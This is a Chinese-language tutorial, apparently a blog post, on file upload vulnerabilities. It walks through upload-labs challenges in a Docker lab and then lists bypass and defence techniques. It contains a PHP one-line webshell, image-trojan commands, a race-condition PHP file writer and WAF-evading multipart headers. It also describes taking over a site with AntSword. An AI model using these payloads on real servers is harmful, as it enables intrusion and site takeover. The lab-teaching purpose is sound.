当前位置: 首页 > news >正文

[漏洞篇]文件上传漏洞详解

[漏洞篇]文件上传漏洞详解

一、介绍

1. 概念

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,“文件上传” 本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。

2. 危害

  1. 代码执行:上传文件是web脚本语言,服务器的web容器解释并执行了用户上传的脚本,导致代码执行。
  2. 病毒、木马自动运行:上传文件是病毒或者木马时,主要用于诱骗用户或者管理员下载执行或者直接自动运行;
  3. 控制flash:上传文件是Flash的策略文件 crossdomain.xml,黑客用以控制Flash在该域 下的行为(其他通过类似方式控制策略文件的情况类似);
  4. 脚本图片钓鱼:上传文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈。 除此之外,还有一些不常见的利用方法,比如将上传文件作为一个入口,溢 出服务器的后台处理程序,如图片解析模块;或者上传一个合法的文本文件,其内容包含了PHP脚本,再通过"本地文件包含漏洞(Local File Include)"执行此脚本。

3. 原理

一些网站的文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,导致允许攻击者向某个可通过web访问的目录上传任意PHP文件,并能够将这些文件传递给PHP解释器,就可以在 进程服务器上执行任意PHP脚本。

当系统存在文件上传漏洞时,攻击者可以将病毒,木马,WebShell,其他恶意脚本或者是包含了脚本的图片上传到服务器,这些文件将对攻击者后续攻击提供便利。根据具体漏洞的差异,此处上传的脚本可以是正常后缀的PHP,ASP以及JSP脚本,也可以是篡改后缀后的这几类脚本。

二、实战演示

1. 靶场搭建(docker)

本地需要有docker环境,如果没有可以直接安装docker或安装docker-desktop

  • linux搭建docker:https://blog.csdn.net/weixin_45565886/article/details/132396440
  • mac/windows安装下载docker-desktop,官网地址:https://www.docker.com/get-started/
# docker拉取镜像
docker pull cuer/upload-labs# 运行镜像
docker run -d -p 8081:80 cuer/upload-labs

浏览器输入:http://localhost:8081/ 访问靶场:
[图片]

2. 实战

Pass01:前端JS校验

我们来到第一关,进行尝试:

  1. 我们上传我们的php webshell发现被拦截
    php_info.php:

    <?php
    phpinfo();
    ?>
    

[图片]

  1. 我们发现这是一个前端弹窗事件,于是f12打开开发者工具
    [图片]

[图片]

  1. 因为这是在js校验,所以我们直接修改前端js,删除提交时的校验即可
    [图片]

最后效果:
[图片]

  1. 然后我们重新上传php脚本文件,发现上传成功
    [图片]

  2. 最后访问我们上传的脚本文件,观察是否可以正常执行
    http://localhost:8081/upload/php_info.php
    [图片]

发现可执行成功:
[图片]

除了这一种方法,还有一种就是我们可以通过Burpsuite抓包,等数据包通过前端js校验后,修改数据包中的文件后缀名:
在这里插入图片描述

Pass02:MIME-Type校验

一些后端开发人员会根据MIME-Type校验图片,比如:jpg图片的MIME-Type就是image/jpeg

  1. 我们来到第2关,上传文件并点击进行上传,发现页面提示类型错误
    [图片]

  2. 我们发现页面提示内容是由后端返回,表示文件校验逻辑是放在后端
    [图片]

  3. 联想到后端常用类型判断,我们尝试通过Burpsuite抓包修改MIME Type

MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的标准,用来表示文档、文件或字节流的性质和格式。
MIME 消息能包含文本、图像、音频、视频以及其他应用程序专用的数据。比如jpg的MIME Type类型就是:image/jpeg

[图片]

  1. 发现成功绕过后端校验,并能触发脚本成功
    [图片]

Pass11:php后缀名过滤

  1. 来到第11关,我们选中本地的php_info.php,点击上传后发现,文件能上传成功,但文件名中包含的所有php都被替换为空了
    [图片]

  2. 此时我们首先考虑到的就是双写绕过,既然后端会替换php,那我们就采用双写进行绕过,php_info.pphphp文件名中将php字符替换为空之后,就变成了_info.php,成功实现绕过
    [图片]

[图片]

  1. 同时脚本也能正常执行
    [图片]

Pass12:文件重命名(00截断)

我们来到第12关发现,后端会将我们上传的文件进行另存(重命名),那我们可以利用这个规则,使用00截断。PS:我这里php版本过高,无法演示,所以贴了几张别人演示的结果。感兴趣的朋友下来可以自己尝试一下。

%00截断常在url中get请求使用,在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束。所以一般文件上传绕过%00会在路径上使用。

  • 原理:http://xxx.com?filename=common_info.php%00.txt,这样我们实际后缀名是txt绕过前端后端检测,但因为%00会被认为结束,所以就最后就被另存为了common_info.php,后面的.txt就被舍弃
    0x开头表示16进制,0在十六进制中是00, 0x00就是%00解码成的16进制。其实和%00的原理没有太大区别,只是使用的方式不一样,这个0x00是手动修改为16进制变成的,通常通过bp修改,其实%00解码就是0x00,0x00通常在post请求使用。
  • 00截断使用条件:
    1、php版本小于5.3.29
    2、magic_quotes_gpc = Off(去php.ini修改就行)
  1. 比如下面是GET请求,我们通过%00实现绕过
    [图片]

  2. 这里访问的时候记得把9020231122143153.jpg去掉,因为成功上传的其实是23.php
    最后蚁剑连接成功。
    [图片]

Pass14:检测图片内容标识

除了上面提到的几种初级防御手段,有时候,后端服务也会解析文件内容,比如校验图片文件的头几个字节(SOI)是否满足条件,例如:标准jpg的头两个字节应该是:255216

文件头:FF D8
十进制:255 和 216
组合后的十进制值:255216

  1. 我们先从网上下载一个标准的jpeg图片
# 以16进制打开图片,观察是否满足要求
vim -b OIP-C.jpeg

在这里插入图片描述

  1. 下面准备php脚本

common_php.php

<?php
phpinfo();
?>
  1. 执行下面命令,制作图片木马
# windows命令
copy OIP-C.jpeg /b + common_php.php /a hack.jpg# mac命令
cat OIP-C.jpeg common_php.php > hack.jpg

查看效果:

vim -b hack.jpg

在这里插入图片描述

  1. 上传图片木马到服务器
    [图片]

上传文件之后访问图片,服务器无法解析执行其中的php代码,所以我们需要和其他漏洞联合起来,比如:文件包含漏洞等,或者通过其他方式将该文件进行重命名。此处便不再演示,将含有攻击的代码上传到服务器,这本身也是一个极其危险的事情。

文件上传结合一句话木马

上面的方式可能演示不出文件上传漏洞的危害,有些同学可能认为上传了对应的脚本对自己服务器也没什么影响。下面我们就将上面的脚本内容替换为一句话木马.

hack_php.php:

<?php @eval($_POST['admin']);?>
  1. 将包含木马的文件上传到服务器,连接密码为admin
  2. 访问文件,执行该木马文件
  3. 通过工具连接,攻占网站

工具可以使用中国蚁剑、菜刀等,这里以蚁剑为例:

  • 打开工具,添加链接
    在这里插入图片描述
  • 成功拿下网站控制权:可上传文件,建立shell等
    在这里插入图片描述

三、绕过手段

在上面实战中其实我们已经介绍了几种常见的绕过手段,下面主要给大家拓展其他绕过手段,权当补充。

基础绕过

1. 本地JS绕过

防御原理:通过前端JS来判断文件后缀名是否合法
绕过手段:

  • 方式一:禁用JS/删除前端JS脚本中的校验逻辑
  • 方式二:Burpsuite抓包,等前端校验完成之后,再把数据包中的文件后缀名由合法的改为.php

2. MIME绕过(Content-Type)

防御原理:后端服务会校验上传文件的Content-Type,比如校验上传文件的MIME-Type是否是image/jpeg,以此来判定是否是jpg图片
绕过手段:Burpsuite抓包,手动修改数据包中的Content-Type

3. 黑名单(后缀名)绕过

防御原理:服务器会校验文件后缀名来进行判断,如:后缀名包含.php的会被禁止上传
绕过手段:部分php可以解析.php2、.php3、.phtml等文件,我们可以将文件名修改为其中之一来进行肉狗

4. 大小写绕过

防御原理:后端校验文件名,但仅校验了小写php
绕过手段:windows对大小写不敏感,linux对大小写敏感,将文件后缀名改成大写PHP,成功上传。

5. 空格绕过

防御原理:后端校验文件名,但仅校验了php,没有校验php带空格的情况
绕过手段:windows等系统下,文件后缀加空格命名之后是默认自动删除空格。此时我们后缀名为.php空格,可以绕过后端校验,在windows系统下,文件名会自动删除末尾空格,就成了.php

6. 点绕过

防御原理:后端校验文件名,但仅校验了php,没有校验php带点的情况
绕过手段:同空格绕过原理一样,主要原因是windows等系统默认删除文件后缀的.和空格,可以实现在文件后缀添加个”.“成功绕过

7. 双写绕过

防御原理:后端将文件名中的php替换为空
绕过手段:后端仅替换了一次,可以采用双写绕过,上传文件后缀为pphphp的文件,发现上传成功,pphphp将其中的php替换为空后,剩下的刚好又组成了php,实现绕过

8. %00截断

使用限制:
1、php版本小于5.3.4
2、php.ini的magic_quotes_gpc为OFF状态
(magic_quotes_gpc)函数的的底层实现是类似c语言,所以可以%00截断

防御原理:将原有文件进行另存重命名
绕过手段:文件另存路径后添加%00,如文件原本重命名为upload/123.php%00fa414124213421.jpg,绕过校验后,因底层c语言会将%00当做截断,文件最后被保留为upload/123.php

9. 图片木马

防御原理:比如检测图片SOI是否有特征值,是否满足图片特征
绕过手段:合法图片与脚本结合,通过图片木马,将恶意代码上传至服务器。但这种方式访问图片不会默认执行图片中的脚本,需要联合其他漏洞使用,如:文件包含漏洞。

# windows命令
copy OIP-C.jpeg /b + common_php.php /a hack.jpg# mac命令
cat OIP-C.jpeg common_php.php > hack.jpg

10. 竞争条件

防御原理:上传文件源代码里没有校验上传的文件,文件直接上传,上传成功后才进行判断,如果文件格式符合要求,则重命名,如果文件格式不符合要求,将文件删除。
绕过手段:通过并发请求文件,赶在服务器删除文件之前执行脚本内容,创建新恶意代码。比如:我们上传的是1.php,1.php脚本作用就是在当前目录创建test.php,于是只要我们并发高,赶在服务器校验我们上传的文件(1.php)之前,执行1.php脚本内容,就可以实现绕过。

1.php脚本内容:

<?php 
$f= fopen ("test.php","w") ;
fputs ($f,'<?php phpinfo();?>');
?>

包含WAF的绕过

WAF防御原理:WAF检查上传文件的名称、内容

  1. 解析文件名,判断是否在黑名单内(.php、.phtml…)
  2. 文件内容:判断是否为 webshell 文件目录权限、请求的 url、Boundary 边界、MIME 文件类型。

目前,市面上常见的是解析文件名,少数 WAF 是解析文件内容,比如长亭

1. 填充垃圾数据绕过

有些主机 WAF 软件为了不影响web服务器的性能,会对校验的用户数据设置 大小上限,比如 1M。此种情况可以构造一个大文件,前面 1M 的内容为垃圾内 容,后面才是真正的木马内容,便可以绕过 WAF 对文件内容的校验;’ Content-Type 类型数据后添加垃圾数据:

Content-Type: image/jpega=11111111111111111111111111111111111111111111111111111111GIF89a<?php phpinfo(); ?>

当然也可以将垃圾数据放在数据包最开头,这样便可以绕过对文件名的校验:

------WebKitFormBoundaryYijPw9QB0WlswSL2a=111111111111111111111111111111111111111111111111111111111111111111111               Content-Disposition: form-data; name="file_x"; filename="bk.jpg"Content-Type: image/jpeg

2. 文件扩展名出回车绕过(只支持 php)

文件扩展名进行回车绕过:

Content-Disposition: form-data; nAme="upfile"; filename="bk.php" Content-Type: image/jpeg

或者:

Content-Disposition: form-data; nAme="upfile"; filename="bk.php"Content-Type: image/jpeg

3. filename绕过

添加一个 finame 参数:

针对早期版本安全狗,可以多加一个 filename 在一个 Content-Disposition 中,存在多个 filename ,协议解析应该使用最 后的filename 值作为文件名。如果 WAF 解析到 filename="bk.jpg"认为解析 到文件名,结束解析,将导致被绕过。因为后端容器解析到的文件名是 bk.asp。

Content-Disposition: form-data; name="file1";
filename="bk.jpg";filename="bk.asp"

4. Content-Disposition 字段值大小写绕过

对这三个固定的字换:Content-Disposition,name,filename 比如 name 转换成 Name,Content-Disposition 转换成 content-disposition。

Content-Disposition: form-data; name=“upfile”; filename=“bk.php”
改成
Content-Disposition: form-data; nAme=“upfile”; filename=“bk.php”

5. 文件重命名绕过

如果 web 程序会将 filename 除了扩展名的那段重命名的话,那么还可以构造更多的点、符号等等。

Content-Disposition: form-data;  name="  file1";
filename="bk....................................................................................................................
............................................................................................................asp"大概几百个点。

6. 删除 Content-Disposition 值的 form-data 绕过

有的 WAF 在解析的时候,认为 Content-Disposition 值一定是 form-data,造成绕过。
Content-Disposition: form-data; name=“file1”; filename= “bk.php”
改为:
Content-Disposition: name=“file1”; filename= “bk.php”

四、防御手段

1. 检查服务器PUT方法配置

检查服务器PUT方法是否配置不当。

虽然没有POST方法使用广泛,但是PUT方法却是向服务器上传文件最有效率的方法。POST上传文件时,我们通常需要将所有的信息组合成 multipart 传送过去,然后服务器再解码这些信息,解码过程则必不可少的会消耗内存和CPU资源,这种现象在上传大文件时尤其明显。而PUT方法则允许你通过与服务器建立的socket链接传递文件的内容,而不附带其他的信息。一旦我们服务器配置出现问题,极易产生严重的安全问题。

  • 这种方式极大程度上降低了攻击者的攻击成本
    感兴趣的同学可以去了解一下:Tomcat put方法任意文件上传漏洞(CVE-2017-12615)

2. 本地文件上传限制被绕过:

在服务器后端对上传的文件迚行过滤。

3. 设置文件上传目录为不可执行

只要web容器无法解析该目录下面的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响,因此这一点至关重要。

4. 判断文件类型

在判断文件类型时,可以结合使用MIME Type、后缀检查等方式。在文件类型检查中,强烈推荐白名单方式,黑名单的方式已经无数次被证明是不可靠的。此外,对于图片的处理,可以使用压缩函数或者 resize 函数,在处理图片的同时破坏图片中可能包含的HTML代码。

5. 使用随机数改写文件名和文件路径

文件上传如果要执行代码,则需要用户能够访问到这个文件。在某些环境中,用户能上传,但不能访问。如果应用了随机数改写了文件名和路径,将极大地增加攻击的成本。再来就是像 shell.php.rar.rar 和 crossdomain.xml 这种文件,都将因为重命名而无法攻击。

6. 单独设置文件服务器的域名

由于浏览器同源策略的关系,一系列客户端攻击将失效,比如上传 crossdomain.xml、上传包含 Javascript 的 XSS 利用等问题将得到解决。

7. 上传的文件尽量单独存放或与重要业务隔离开

尽量使用单独的服务器专门存放文件或放在docker中,这样即使服务器被攻破,也不会对其他业务资源造成大的损失

参考文章:
https://www.freebuf.com/vuls/279171.html
https://blog.csdn.net/aaron_miller/article/details/106143006
https://blog.csdn.net/qq_44632668/article/details/97818432

相关文章:

[漏洞篇]文件上传漏洞详解

[漏洞篇]文件上传漏洞详解 一、介绍 1. 概念 文件上传漏洞是指用户上传了一个可执行的脚本文件&#xff0c;并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的&#xff0c;“文件上传” 本身没有问题&#xff0c;有问题的是文件上传后&#xf…...

计算机毕业设计SpringBoot+Vue.js企业客户管理系统(源码+LW文档+PPT+讲解+开题报告)

温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 作者简介&#xff1a;Java领…...

【多模态处理篇三】【DeepSeek语音合成:TTS音色克隆技术揭秘】

最近帮某明星工作室做AI语音助手时遇到魔幻需求——要求用5秒的咳嗽声克隆出完整音色!传统TTS系统直接翻车,生成的语音像得了重感冒的电音怪物。直到祭出DeepSeek的TTS音色克隆黑科技,才让AI语音从"机器朗读"进化到"声临其境"。今天我们就来扒开这个声音…...

华为 网络安全 认证

&#x1f345; 点击文末小卡片 &#xff0c;免费获取网络安全全套资料&#xff0c;资料在手&#xff0c;涨薪更快 华为 网络安全 认证&#xff1a;保障信息安全的重要一环 在数字化时代的今天&#xff0c;网络安全成为了企业和个人都需要高度重视的问题。尤其是在企业信息化的…...

计算机视觉:经典数据格式(VOC、YOLO、COCO)解析与转换(附代码)

第一章&#xff1a;计算机视觉中图像的基础认知 第二章&#xff1a;计算机视觉&#xff1a;卷积神经网络(CNN)基本概念(一) 第三章&#xff1a;计算机视觉&#xff1a;卷积神经网络(CNN)基本概念(二) 第四章&#xff1a;搭建一个经典的LeNet5神经网络(附代码) 第五章&#xff1…...

开源嵌入式实时操作系统uC/OS-II介绍

一、uC/OS-II的诞生&#xff1a;从开源实验到行业标杆 背景与起源 uC/OS-II&#xff08;Micro-Controller Operating System Version II&#xff09;诞生于1992年&#xff0c;由嵌入式系统先驱Jean J. Labrosse开发。其前身uC/OS&#xff08;1991年&#xff09;最初作为教学工…...

QT基础八、与时间相关的UI控件

目录 一、时间类&#xff1a;QTime 1. 创建 QTime 对象 2. 获取当前时间 3. 设置时间 4. 时间格式化 5. 时间加减操作 6. 时间比较 7. 计算时间间隔 8. 判断时间是否有效 9. 使用 QElapsedTimer 测量时间间隔 二、日期类&#xff1a;QDate 1. 创建 QDate 对象 2. 获…...

大道至简 少字全意 易经的方式看 缓存 mybatis缓存 rendis缓存场景 案例

目录 介绍 mybatis缓存 一级缓存 1.是什么 2.特点 3.场景 mybatis 二级缓存 1.是什么 2.特点 3.配置步骤 注意 一级缓存问题 二级缓存问题 扩展 1.MyBatis集成 Redis 2.直接使用Redis redis 缓存 一、String 字符串 二、Llst 列表 三、Hash 哈希 四、Set…...

Python爬虫selenium验证-中文识别点选+图片验证码案例

1.获取图片 import re import time import ddddocr import requests from selenium import webdriver from selenium.webdriver.common.by import By from selenium.webdriver.chrome.service import Service from selenium.webdriver.support.wait import WebDriverWait from …...

设计模式Python版 中介者模式

文章目录 前言一、中介者模式二、中介者模式示例 前言 GOF设计模式分三大类&#xff1a; 创建型模式&#xff1a;关注对象的创建过程&#xff0c;包括单例模式、简单工厂模式、工厂方法模式、抽象工厂模式、原型模式和建造者模式。结构型模式&#xff1a;关注类和对象之间的组…...

docker-compose Install deepseek

前言 deepseekAI助手。它具有聊天机器人功能&#xff0c;可以与用户进行自然语言交互&#xff0c;回答问题、提供建议和帮助解决问题。DeepSeek 的特点包括&#xff1a; 强大的语言理解能力&#xff1a;能够理解和生成自然语言&#xff0c;与用户进行流畅的对话。多领域知识&…...

Ubuntu 下 nginx-1.24.0 源码分析 - ngx_process_options

ngx_process_options 声明在 src\core\nginx.c static ngx_int_t ngx_process_options(ngx_cycle_t *cycle); 定义在 src\core\nginx.c static ngx_int_t ngx_process_options(ngx_cycle_t *cycle) {u_char *p;size_t len;if (ngx_prefix) {len ngx_strlen(ngx_prefix);p …...

vue:vite 代理服务器 proxy 配置

Vite 代理服务器&#xff08;Proxy&#xff09;的配置通常用于开发环境&#xff0c;以解决跨域请求等问题。以下是一个详细的配置步骤&#xff1a; 通过以上步骤&#xff0c;你就可以在 Vite 项目中配置代理服务器&#xff0c;以便在开发过程中方便地访问后端服务。 ‌找到 Vi…...

【数据结构】快指针和慢指针

一、 给你单链表的头结点 head ,请你找出并返回链表的中间结点。如果有两个中间结点,则返回第二个中间结点。 要求&#xff1a;只遍历一遍链表 可以使用快慢指针&#xff1a;fast 一次走两步&#xff0c;slow 一次走一步。当 fast NULL&#xff08;偶数个结点&#xff09;或…...

初级渗透测试工程师需要学什么?网络安全零基础入门到精通教程建议收藏!

1、前言 本文主要介绍如何成为一名初级的渗透测试工程师所需要学习的内容&#xff0c;后续也会基于此将自己的学习总结、心得记录下来。相信在不断坚持下&#xff0c;争取在今年五月初成为一名初级的渗透测试工程师。 2、涉及知识领域 基础网络知识&#xff1a; 理解TCP/IP协…...

WSL2下ubuntu开启NFS服务

1. wsl2下ubuntu配置 安装 NFS 服务&#xff1a; sudo apt-get install nfs-kernel-server rpcbindnfs 配置文件/etc/exports&#xff1a; sudo vi /etc/exports打开/etc/exports 以后在后面添加如下所示内容&#xff1a; /home/mk/nfs *(rw,sync,no_subtree_check,no_root…...

superset

开源的BI工具还是选择apache的superset&#xff0c;2021年的是用过davince&#xff0c;结果2023年就不维护了&#xff0c;dataart也是一样的到2023年也没人维护了&#xff0c;dataease国产的人家也要吃饭&#xff0c;社区版也有限制。因而选择用python开发的superset成了唯一的…...

CSS通过webkit-scrollbar设置滚动条样式

查看::-webkit-scrollbar-*各项关系 以下图为例&#xff0c;可以分别定义滚动条背景、滚动轨道、滚动滑块的样式。 需要先给外部容器设置高度&#xff0c;再设置overflow: auto&#xff0c;最后设置三个webkit属性。 <!DOCTYPE html> <html lang"en">…...

Mac下Python版本管理,适用于pyenv不起作用的情况

前言 声明&#xff1a;之前也在网上看到过可以使用pyenv来管理python版本&#xff0c;但由于作者的python安装路径实在是繁杂不堪&#xff0c;因此安装完成pyenv体验下来没有任何用处&#xff0c;但偶然发现vscode似乎可以看到各个python版本&#xff0c;因此写下这篇博客记录…...

基于SpringBoot+mybatisplus+vueJS的Cosplay文化展示与交流社区设计与实现

博主介绍&#xff1a;硕士研究生&#xff0c;专注于信息化技术领域开发与管理&#xff0c;会使用java、标准c/c等开发语言&#xff0c;以及毕业项目实战✌ 从事基于java BS架构、CS架构、c/c 编程工作近16年&#xff0c;拥有近12年的管理工作经验&#xff0c;拥有较丰富的技术架…...

Linux动静态库

铺垫 1.动态库与静态库本质上都是文件。 2.关于动静态链接 动态链接&#xff1a;将库中需要的函数地址&#xff0c;填入可执行程序&#xff0c;建立关联。 优点&#xff1a;节省资源&#xff0c;不会出现太多重复代码。 缺点&#xff1a;对库的依赖性比较强&#xff0c;一…...

区块链中的数字签名:安全性与可信度的核心

数字签名是区块链技术的信任基石&#xff0c;它像区块链世界的身份证和防伪标签&#xff0c;确保每一笔交易的真实性、完整性和不可抵赖性。本文会用通俗的语言&#xff0c;带你彻底搞懂区块链中的数字签名&#xff01; 文章目录 1. 数字签名是什么&#xff1f;从现实世界到区块…...

Java实现斗地主-做牌以及对牌排序

卡牌类 public class Card {private String size;//大小private String color;//花色private int value;//权值public Card() {}public Card(String size, String color, int value) {this.size size;this.color color;this.value value;}public String toString(){return …...

SQL写法技巧

目录 1.批量插入&#xff0c;查询&#xff0c;删除数据 缺点 实现方法 1.批量插入数据 2.批量查询数据 3.批量删除数据 4.批量修改数据 解释 2.树型表查询 方法一&#xff1a;递归(适用于多级的情况) 方法二&#xff1a;表的自连接 方法三&#xff1a;MySQL递归&am…...

`pip freeze > requirements.txt` 命令

pip freeze > requirements.txt 命令的作用是将当前 Python 环境中已安装的所有包及其版本号导出到一个名为 requirements.txt 的文件中。这个文件通常用于记录项目的依赖包&#xff0c;以便在其他环境中快速安装相同的依赖。 ### 具体作用 1. **生成依赖列表**&#xff1a…...

windows安装pytorch

windows安装pytorch 通过pip来安装pytorch. 1、更新pip 在激活的虚拟环境中&#xff0c;输入命令&#xff1a; python -m pip install --upgrade pip -i https://mirrors.aliyun.com/pypi/simple/2、安装cpu版的pytorch pip3 install torch torchvision torchaudio -i http…...

计算机网络之路由协议(自治系统)

一、自治系统&#xff08;AS&#xff09; 自治系统是由同一个技术管理机构管理、使用统一选路策略的一些路由器的集合。它是网络的基本构成单位&#xff0c;每个自治系统是一个独立运营并自主决定与谁交换流量的实体。自治系统内部运行内部网关协议&#xff08;IGP&#xff09…...

unity获取指定麦克风的分贝(deepseek)

在Unity中&#xff0c;获取指定麦克风的分贝值需要使用Microphone类来捕获麦克风输入&#xff0c;并通过AudioSource或直接处理音频数据来计算分贝值。以下是实现步骤和示例代码&#xff1a; 实现步骤&#xff1a; 1、初始化麦克风&#xff1a;使用Microphone.Start开始录制麦…...

Spring5框架八:整合Mybatis

精心整理了最新的面试资料&#xff0c;有需要的可以自行获取 点击前往百度网盘获取 点击前往夸克网盘获取 1、导入相关的jar包 <dependencies><!-- https://mvnrepository.com/artifact/org.springframework/spring-webmvc --><dependency><groupId>…...

从人机环境系统智能角度看传统IP的全球化二次创作法则

从人机环境系统智能的视角看&#xff0c;传统IP的全球化二次创作法则需结合技术、文化、伦理与环境的复杂协同。这一过程不仅是内容的本土化改编&#xff0c;更是人、机器与环境在动态交互中实现价值共创的体现。 一、人机环境系统智能的底层逻辑与IP二次创作的融合 1、感知层&…...

《论软件的可靠性评价》审题技巧 - 系统架构设计师

论软件的可靠性评价写作框架 一、考点概述 软件可靠性评价作为软件可靠性活动的关键环节&#xff0c;是确保软件质量、提升用户体验的重要手段。本题主要考察以下几个方面的内容&#xff1a; 首先&#xff0c;本题要求考生理解并掌握软件可靠性评价的基本概念及其在软件开发…...

基于数据可视化学习的卡路里消耗预测分析

数据分析实操集合&#xff1a; 1、关于房间传感器监测数据集的探索 2、EEMD-LSTM模型择时策略 — 1.EEMD分解与LSTM模型搭建 3、EEMD-LSTM模型择时策略 — 2. 量化回测 4、国际超市电商销售数据分析 5、基于问卷调查数据的多元统计数据分析与预测&#xff08;因子分析、对应分…...

毕业项目推荐:基于yolov8/yolov5/yolo11的果蔬检测识别系统(python+卷积神经网络)

文章目录 概要一、整体资源介绍技术要点功能展示&#xff1a;功能1 支持单张图片识别功能2 支持遍历文件夹识别功能3 支持识别视频文件功能4 支持摄像头识别功能5 支持结果文件导出&#xff08;xls格式&#xff09;功能6 支持切换检测到的目标查看 二、数据集三、算法介绍1. YO…...

Graspness Discovery in Clutters for Fast and Accurate Grasp Detection 解读

研究背景 研究问题 &#xff1a;这篇文章要解决的问题是如何在杂乱的环境中快速且准确地检测抓取姿态。传统的 6自由度抓取方法将场景中的所有点视为平等&#xff0c;并采用均匀采样来选择抓取候选点&#xff0c;但忽略了抓取位置的重要性&#xff0c;这极大地影响了抓取姿态检…...

Redission可重试、超时续约的实现原理(源码分析)

Redission遇到其他进程已经占用资源的时候会在指定时间waitTime内进行重试。实现过程如下&#xff1a; 执行获取锁的lua脚本时&#xff0c;会返回一个值&#xff0c; 如果获取锁成功&#xff0c;返回nil&#xff0c;也就是java里的null 如果获取锁失败&#xff0c;用语句“PT…...

vscode 配置 Copilot 提示GHE.com连接失败

步骤一&#xff1a;打开设置并进入 settings.json 点击菜单栏中的 “文件” -> “首选项” -> “设置”。 在搜索设置栏中输入 “Copilot: Advanced”。 点击搜索结果下方的 “在 settings.json 中编辑” 链接&#xff0c;这会打开 settings.json 文件。 步骤二&#…...

红队内网攻防渗透:内网渗透之内网对抗:实战项目VPC1打靶PHP-RCE三层代理路由防火墙上线密码喷射域控提权

红队内网攻防渗透 实战网络攻防靶场记录1.靶机配置详情讲解1.1 入口点靶机:Windows Server 20121.2 第一层靶机:Windows 7 + Windows 101.3 第二层靶机:Windows 2012 R21.4 第三层靶机:Windows 2016 web +Windows 2016 AD域1.5 攻击者系统 :Kali-linux2.靶场渗透完整流程2…...

四、综合案例(Unity2D)

一、2D渲染 1、2D相机基本设置 上面是透视&#xff0c;下面是正交 2、图片资源 在Unity中&#xff0c;常规图片导入之后&#xff0c;一般不在Unity中直接使用&#xff0c;而是转为精灵图Sprite 将图片更改为即可使用Unity内置的图片切割功能 无论精灵图片是单个的还是多个的…...

50周学习go语言:第1周 环境搭建

以下是为零基础学习者准备的详细第1周教程&#xff0c;包含环境搭建、工具配置和首个Go程序的完整操作指南&#xff1a; 一、Go语言环境安装&#xff08;Windows/macOS/Linux通用&#xff09; 1. 下载安装包 官网地址&#xff1a;https://go.dev/dl//根据系统选择对应版本&am…...

Docker Desktop 入门教学

引言 Docker Desktop 是 Docker 官方为开发者提供的桌面应用程序&#xff0c;支持在 Windows 和 macOS 上轻松构建、运行和共享容器化应用程序。它集成了 Docker 引擎、Docker CLI 客户端以及 Docker Compose 等工具&#xff0c;方便您在本地开发和测试。 一、快速安装 1. 系…...

BOOST电路设计

目录 1电路模型 2器件选型 2.1设计需求 2.2参数计算 2.2.1电感L计算 2.2.2电容计算 2.2.3电阻计算 3仿真测试 4参数测试 4.1负载调整率 4.2电容测试 4.3电感测试 5实际应用 1电路模型 Boost升压电路,可以工作在电流断续工作模式(DCM)和电流连续工作模式(CCM)。CCM工…...

Qt常用控件之标签QLabel

标签QLabel QLabel 标签用来显示文本和图片&#xff0c;在 Qt 中使用频率很高。 1. Label属性 属性说明textQLabel 中的文本。textFormat文本的格式。其中 Qt::PlainText 为纯文本&#xff1b;Qt::RichText 为富文本&#xff08;支持 html 格式&#xff09;&#xff1b; Qt:…...

基于Spring Boot的公司资产网站设计与实现(LW+源码+讲解)

专注于大学生项目实战开发,讲解,毕业答疑辅导&#xff0c;欢迎高校老师/同行前辈交流合作✌。 技术范围&#xff1a;SpringBoot、Vue、SSM、HLMT、小程序、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、安卓app、大数据、物联网、机器学习等设计与开发。 主要内容&#xff1a;…...

网络安全知识--网络、网络安全产品及密码产品概述

&#x1f345; 点击文末小卡片 &#xff0c;免费获取网络安全全套资料&#xff0c;资料在手&#xff0c;涨薪更快 网络结构 网络设备&#xff1a;交换机、路由器、负载均衡 安全设备&#xff1a; 通信网络安全类:通信安全、网络监测与控制 区域边界安全类&#xff1a;隔离类…...

【mysql中mvcc的含义和作用及原理】

MySQL中的MVCC&#xff08;多版本并发控制&#xff09;是一种用于提高数据库并发性能的机制&#xff0c;通过维护数据的多个版本&#xff0c;实现读写操作的无锁并发。以下是其核心要点&#xff1a; 1. MVCC的含义 全称&#xff1a;Multi-Version Concurrency Control&#xf…...

【Android】Android 悬浮窗开发 ( 动态权限请求 | 前台服务和通知 | 悬浮窗创建 )

文章目录 一、悬浮窗 动态权限请求1、动态请求权限2、悬浮窗权限说明3、检查动态权限4、申请动态权限5、权限设置完毕后返回处理 二、悬浮窗 前台服务和通知1、前台服务 启动 悬浮窗 的必要性① 保持悬浮窗存活② 悬浮窗的要求③ 悬浮窗版本兼容 2、其它类型服务简介① 前台服务…...

【FAQ】HarmonyOS SDK 闭源开放能力 —Live View Kit (1)

1.问题描述&#xff1a; 客户端创建实况窗后&#xff0c;通过Push kit更新实况窗内容&#xff0c;这个过程是自动更新的还是客户端解析push消息数据后填充数据更新&#xff1f;客户端除了接入Push kit和创建实况窗还需要做什么工作&#xff1f; 解决方案&#xff1a; 通过Pu…...

基于Flask的第七次人口普查数据分析系统的设计与实现

【Flask】基于Flask的第七次人口普查数据分析系统的设计与实现&#xff08;完整系统源码开发笔记详细部署教程&#xff09;✅ 目录 一、项目简介二、项目界面展示三、项目视频展示 一、项目简介 基于Flask的人口普查可视化分析系统 二、项目界面展示 登录/注册 首页/详情 …...

java实现多图合并加字和画框等

java实现多图合并加字和画框等 在wutool中&#xff0c;封装了图片处理工具类&#xff0c;基于java自带的BufferedImage类&#xff0c;实现多图合并和加字、图片画框等。 关于wutool wutool是一个java代码片段收集库&#xff0c;针对特定场景提供轻量解决方案&#xff0c;只要…...

腾讯SQL面试题解析:如何找出连续5天涨幅超过5%的股票

